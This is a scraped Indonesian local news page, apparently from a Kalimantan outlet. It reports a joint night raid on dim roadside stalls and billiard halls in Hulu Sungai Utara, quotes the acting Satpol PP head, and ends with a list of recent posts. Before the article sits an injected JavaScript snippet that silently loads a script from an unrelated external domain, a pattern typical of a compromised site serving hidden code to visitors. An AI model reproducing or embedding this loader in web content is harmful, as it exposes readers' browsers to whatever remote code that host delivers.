(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Meresahkan Warga HSU, Warung Remang-remang dan Tempat Biliard Dirazia


AMUNTAI, Puluhan pengunjung warung remang-remang dan tempat biliard diperiksa razia gabungan petugas Satpol PP, Polres, Kodim 1001 Amt/Blg serta Dinas Perhubungan Kabupaten HSU dalam operasi cipta kondisi, Rabu (23/1) malam.

Operasi yang dilakukan untuk memberantas penyakit masyarakat ini digelar di beberapa tempat berbeda seperti tempat biliard, kawasan minim penerangan, dan warung remang-remang.

Hasilnya, satu orang diamankan petugas karena kedapatan menyimpan obat-obatan terlarang yang langsung diamankan untuk dilakukan pemeriksaan lebih lanjut. Meski tidak ada pengunjung yang kedapatan membawa senjata tajam, akan tetapi dari beberapa pengunjung kedapatan tidak memiliki kartu identitas diri (KTP).

Menurut Plt Kepala Satpol PP HSU Sugeng Riyadi mengungkapkan, operasi ini digelar dalam rangka cipta kondisi ketentraman dan ketertiban masyarakat di Kabupaten HSU tetap terjaga.

“Kami sebagai leading sektor bertanggung jawab menciptakan kondisi keamanan, ketentraman dan ketertiban di Hulu Sungai Utara,” katanya.



Razia dimaksudkan untuk menjaga Kabupaten HSU yang bebas dari penyakit sosial masyarakat seperti anak punk, gelandangan, warung remang-remang yang dapat mengurangi kenyamanan di kota Amuntai.

Sugeng mengakui, saat ini warung remang-remang yang beroperasi sangat meresahkan masyarakat dan berpotensi menimbulkan tindak kriminal, sehingga perlu penertiban.

“Kami sudah melaksanakan rapat koordinasi dari berbagai pihak, untuk menyikapi kondisi Kabupaten Hulu Sungai Utara yang makin hari makin marak muncul warung-warung seperti ini berdasarkan dari laporan kepala desa,” bebernya.

Satpol PP HSU sudah memberikan surat peringatan dan himbauan bagi semua warung remang-remangdilarang beroperasi atau berdagang di atas pukul 10 malam, dilarang menggunakan pengeras suara berlebihan, bagi pelayan warung dilarang menggunakan pakaian minim, dilarang menjual obat-obatan dan minuman keras.

“Pemilik warung yang masih melanggar, kami dari pemerintah daerah akan melakukan penutupan sepihak,” tegasnya. (dew)

Reporter : Dew
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.